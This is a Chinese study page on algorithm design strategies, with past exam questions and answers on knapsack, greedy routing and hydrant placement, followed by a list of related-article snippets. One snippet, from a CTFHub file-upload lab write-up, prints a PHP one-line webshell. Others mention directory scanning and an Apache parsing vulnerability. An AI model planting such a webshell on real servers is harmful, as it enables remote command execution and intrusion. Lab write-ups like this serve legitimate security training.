7.3.1.算法设计与分析-总结及真题讲解

总结

  • 分治法特征:把一个问题拆分成多个小规模的相同子问题,一般可用递归解决。
    • 经典问题:斐波那契数列、归并排序、快速排序、矩阵乘法、二分搜索、大整数乘法、汉诺塔
  • 回溯法特征:系统的搜索一个问题的所有解或任一解。
    • 经典问题:N皇后问题、迷宫、背包问题
  • 动态规划法(用于求最优解):划分子问题,并把子问题结果使用数组散列表存储,利用查询子问题结果构造最终问题
    • 经典问题:斐波那契数列、矩阵乘法、背包问题、LCS最长公共子序列
  • 贪心法(用于求满意解)特征:局部最优,但整体不见得最优。每步有明确的,既定的策略。
    • 经典问题:背包问题、多机调度、找零钱问题

真题

【2016】考虑一个背包问题,共有=5个物品,背包容量为W=10,物品的重量和价值分别为:w={2,2,6,5,4,V={6,3,5,4,6},求背包问题的最大装包价值。若此为0-1背包问题,分析该问题具有最优子结构,定义递归式为
在这里插入图片描述
其中c(i,j)表示i个物品、容量为j的0-1背包问题的最大装包价值,最终要求解c(n,W)。采用自底向上的动态规划方法求解,得到最大装包价值为(62),算法的时间复杂度为(63)。若此为部分背包问题,首先采用归并排序算法,根据物品的单位重量价值从大到小排序,然后依次将物品放入背包直至所有物品放入背包中或者背包再无容量,则得到的最大装包价值为(64),算法的时间复杂度为(65)。

A. 11
B. 14
C. 15
D. 16.67

A. O(nW)
B. O(nlogn)
C. O(n2)
D. O(nlognW)

A. 11
B. 14
C. 15
D. 16.67

A. O(nW)
B. O(nlogn)
C. O(n2)
D. O(nlognW)

答案C A D B
背包问题:在有限的条件里面装尽可能多价值的物品

  • 0-1背包问题:物品不能拆解。
    • 先找最大价值
      最大的是6,有两个分别对应的背包个数是是2和4,剩余背包10-(2+4)=4,只能放在价值3的2个背包。所以总价值就是6+6+3=15
    • 找单位价值
      cost={6/2=3,3/2=1.5,5/6,4/5=0.8,6/4=1.5},最大的是3和1.5
    • 穷举法
  • 部分背包问题:物品可拆解
    从大小排序cost={6/2=3,3/2=1.5,6/4=1.5,5/6,4/5=0.8}
    6+3+6+5/6*2
    归并排序算法时间复杂度就是nlogn

【2012】63-64、某货车运输公司有一个中央仓库和个运输目的地,每天要从中央仓库将货物运输到所有运输目的地,到达每个运输目的地一次且仅一次,最后回到中央仓库。在两个地点和j之间运输货物存在费用Cij。为求解旅行费用总和最小的运输路径,设计如下算法:首先选择离中央仓库最近的运输目的地1,然后选择离运输目的地1最近的运输目的地2,…,每次在来访问过的运输目的地中选择离当前运输目的地最近的运输目的地,最后回到中央仓库。该算法采用了_63_算法设计策略,其时间复杂度为_64_
63、
A.分治
B.动态规划
C.贪心
D.回溯
64、
A.o(n2)
B.o(n)
C.o(nlogn)
D.o(1)

答案C A
第一次中心仓库找最近的需要n次,第二个找最近的是n-1,以此类推n+(n-1)+(n-2)+…,但是这样是没有答案的。最差的情况就是没到一个地方都会计算全部的路径就是有n个地方就要计算n次路径即n+n+n…

【2018】在一条笔直公路的一边有许多房子,现要安装消防栓,每个消防栓的覆盖范围远大于房子的面积,如下图所示。现求解能覆盖所有房子的最少消防栓数和安装方案(问题求解过程中,可将房子和消防栓均视为直线上的点)。
在这里插入图片描述
该问题求解算法的基本思路为:从左端的第一栋房子开始,在其右侧米处安装一个消防栓,去掉被该消防栓覆盖的所有房子。在剩余的房子中重复上述操作,直到所有房子被覆盖。算法采用的设计策略为();对应的时间复杂度为()。
假设公路起点A的坐标为0,消防栓的覆盖范围(半径)为20米,10栋房子的坐标为(10,20,30,35,60,80,160,210,260,300),单位为米。根据上述算法,共需要安装()个消防栓。以下关于该求解算法的叙述中,正确的是()。
(A)分治
(B)动态规划
(C)贪心
(D)回溯

(A)o(lgn)
(B)o(n)
(C)o(nlgn)
(D)o(n2)

(A)4
(B)5
(C)6
(D)7

(A)肯定可以求得问题的一个最优解
(B)可以求得问题的所有最优解
(C)对有些实例,可能得不到最优解
(D)只能得到近似最优解

答案C B B C
每一栋房子都需要检测是否满足条件,一共有N栋房子,所以是o(n)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/394842.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ctfhub文件上传

⽆验证 上传⼀句话⽊⻢&#xff0c;发现上传成功 1.php ⼀句话⽊⻢内容&#xff1a; <?php eval($_POST[cmd]);?> 上传⼀句话⽊⻢&#xff0c;发现上传成功 http://challenge-8b27d18368ecc25c.sandbox.ctfhub.com:10800/upload/1.ph p 前端验证 开启题⽬ 上传⼀个…

[Modbus] Modbus协议开发-基本概念(一)

历史 ModBus官网是Modicon&#xff08;Modicon早年已被施耐德收购&#xff09;公司为其PLC通讯而开发的一种通讯协议。 概述 通过Modbus协议&#xff0c;控制器之间、或控制器经由网络&#xff08;如以太网&#xff09;可以和其它设备之间进行通信。 优点 免费、好用、成熟…

DIRB:一款强大的Web目录扫描工具使用指南

网安学习交流 DIRB是一款广泛使用的开源Web内容扫描工具&#xff0c;它专注于发现Web服务器上存在的目录和文件。对于安全研究员、渗透测试人员以及Web开发者来说&#xff0c;DIRB是一个不可或缺的工具&#xff0c;它能帮助他们识别潜在的入口点&#xff0c;从而进一步评估目标…

Java学习Day20

Vue学习 nodejs的安装与环境配置 1.直接去官网下载合适版本的nodejs( https://nodejs.org/zh-cn/download/prebuilt-installer) 2.解压下载的安装包&#xff0c;将文件路径配置到系统变量的path中&#xff0c;然后确认后退出。可以使用终端来查看安装的nodejs版本。使用winR…

【C++ Primer Plus】学习笔记 4

文章目录 前言一、结构类型1.在程序中使用结构2.C11结构初始化3. 结构可以将 string 类作为成员吗4.其他特性5.结构数组 二、共用体三、枚举1.设置枚举量的值2. 枚举的取值范围 前言 该笔记内容为书第四章——复合类型&#xff0c;加油加油 一、结构类型 结构是用户定义的类型…

文件:ls,ll,fcpgets,cpwr

1、fcpgets fgets和fputs用于处理文本文件&#xff0c;而不是二进制文件&#xff0c;因为会进行换行符的处理&#xff0c;图片文件包含二进制数据并且包含\0字符&#xff0c;会出现意外终止条件。 2、cprw fread&#xff1a;函数从文件流中读取数据&#xff0c;储存到指向空间…

【Android Studio】gradle文件、配置、版本下载、国内源(SDK版本、gradle版本以及gradle-plugin(AGP)版本)

文章目录 AS查看gradle-plugin版本及gradle版本&#xff08;图形&#xff09;查看gradle-plugin版本及gradle版本&#xff08;配置文件&#xff09;配置文件分析解决gradle下载失败、版本错乱等问题。 Gradle 是一个基于 Apache Ant 和 Apache Maven 概念的自动化构建工具&…

Linux:多线程(二.理解pthread_t、线程互斥与同步、基于阻塞队列的生产消费模型)

上次讲解了多线程第一部分&#xff1a;Linux&#xff1a;多线程&#xff08;一.Linux线程概念、线程控制——创建、等待、退出、分离&#xff0c;封装一下线程&#xff09; 文章目录 1.理解Linux下线程——理解tid2. Linux线程互斥2.1相关概念2.2引入问题分析问题解决思路 2.3L…

牛客网每日刷题之 HJ99.自守数(C++)

在不断学习的过程中也不能忘记了基础知识的巩固&#xff0c;在学习新的知识后要学会去举一反三&#xff0c;前不久我刚刚了解了一些关于 string 类的知识&#xff0c;对牛客网的 自守数 有了新的解题思路&#xff0c;让我们一起看看这道题吧 思路解析 a. 整数方法 1. 首先我们知…

盘点5个PDF 怎么转换成 Word 的实用技巧

在日常的办公和学习中&#xff0c;要将 PDF 文件转换成 Word 是很常有的事。方便我们编辑、修改内容或者是提取其中的内容。一般都会用到一些工具&#xff1b;下面&#xff0c;我将为大家介绍5种高效且实用的 PDF 转 Word 的方法。 1、PDF365转换软件 直通车&#xff1a;www.…

模块化叙事的演变:DeFi借贷开发的模块化转型

随着区块链技术的不断发展&#xff0c;去中心化金融&#xff08;DeFi&#xff09;正经历一场深刻的变革。模块化借贷作为这一变革的重要部分&#xff0c;正逐渐成为加密金融领域的焦点。本文将探讨模块化借贷的起源、演变及其未来发展方向。 一、模块化的起源 模块化区块链的概…

nodejs/node-sass/sass-loader三者版本对应关系(已解决)

基本前提&#xff1a;了解版本对应关系 示例&#xff1a; 我的nodejs&#xff1a;v14.21.3&#xff0c; 则package.json: "node-sass": "^4.14.1", "sass-loader": "^8.0.0",扩展&#xff1a; 查看node历史版本&#xff1a; Node.js…

CVE-2017-15715~Apache解析漏洞【春秋云境靶场渗透】

Apache解析漏洞 漏洞原理 # Apache HTTPD 支持一个文件拥有多个后缀&#xff0c;并为不同后缀执行不同的指令。比如如下配置文件&#xff1a; AddType text/html .html AddLanguage zh-CN .cn# 其给 .html 后缀增加了 media-type &#xff0c;值为 text/html &#xff1b;给 …

【C++进阶学习】第十二弹——C++ 异常处理:深入解析与实践应用

前言&#xff1a; 在C编程语言中&#xff0c;异常处理是一种重要的机制&#xff0c;它允许程序员在运行时捕获和处理错误或异常情况。本文将详细介绍C异常处理的相关知识点&#xff0c;包括异常的定义、抛出与捕获、异常处理的原则、以及在实际编程中的应用。 目录 1. 异常处理…

【目标检测实验系列】YOLOv5高效涨点:基于NAMAttention规范化注意力模块,调整权重因子关注有效特征(文内附源码)

1. 文章主要内容 本篇博客主要涉及规范化注意力机制&#xff0c;融合到YOLOv5(v6.1版本&#xff0c;去掉了Focus模块)模型中&#xff0c;通过惩罚机制&#xff0c;调整特征权重因子&#xff0c;使模型更加关注有效特征&#xff0c;助力模型涨点。 2. 简要概括 论文地址&#x…

为什么要用数据库管理系统?5个你不得不知道的理由

你是否曾经想过,为什么几乎所有的企业和组织都在使用数据库管理系统(DBMS)?为什么不直接使用文件系统来存储和管理数据呢?如果你有这样的疑问,那么这篇文章正是为你而写。在接下来的内容中,我们将深入探讨使用数据库管理系统的5个关键原因,这些原因将彻底改变你对数据管理的认…

企业及园区电力能源管理系统方案

概述 面对中小型的用能集团、园区能耗监测分析等场景需求&#xff0c;拓扑未来公司推出标准化的企业及园区电力能源管理系统方案&#xff0c;力求高效高质地为目标客户提供高效部署、轻松运维的本地化能源管理解决方案。 本方案以软硬件一体的方式&#xff0c;集成了标准电力监…

c++----初识模板

大家好&#xff0c;这篇博客想与大家分享一些我们c中比较好用的知识点。模板。首先咧&#xff0c;我们都知道模板嘛&#xff0c;就是以前人的经验总结出来的知识。方便我们使用。这里的模板也是一样的。当我们学习过后&#xff0c;对于一些在c中的自定义函数&#xff0c;我们在…

GIS,矢量瓦片加载速度优化

文章目录 一、前言二、矢量瓦片的基础知识三、矢量切片加载速度优化3.1 地图缩编3.2 矢量瓦片中的图层根据显示层级定制3.3 矢量瓦片中的图层字段要按需定制3.4 多个图层合并为矢量切片图层组发布 四、总结 一、前言 单个矢量瓦片的大小并没有固定的上限&#xff0c;这意味着在…

C语言典型例题30

《C程序设计教程&#xff08;第四版&#xff09;——谭浩强》 习题2.7 从银行贷了一笔款d&#xff0c;准备每月还款额为p&#xff0c;月利率为r&#xff0c;计算多少个月能还清。 设d30000元&#xff0c;p6000元&#xff0c;r1%。对求得的月份取小数点后一位&#xff0c;对第二…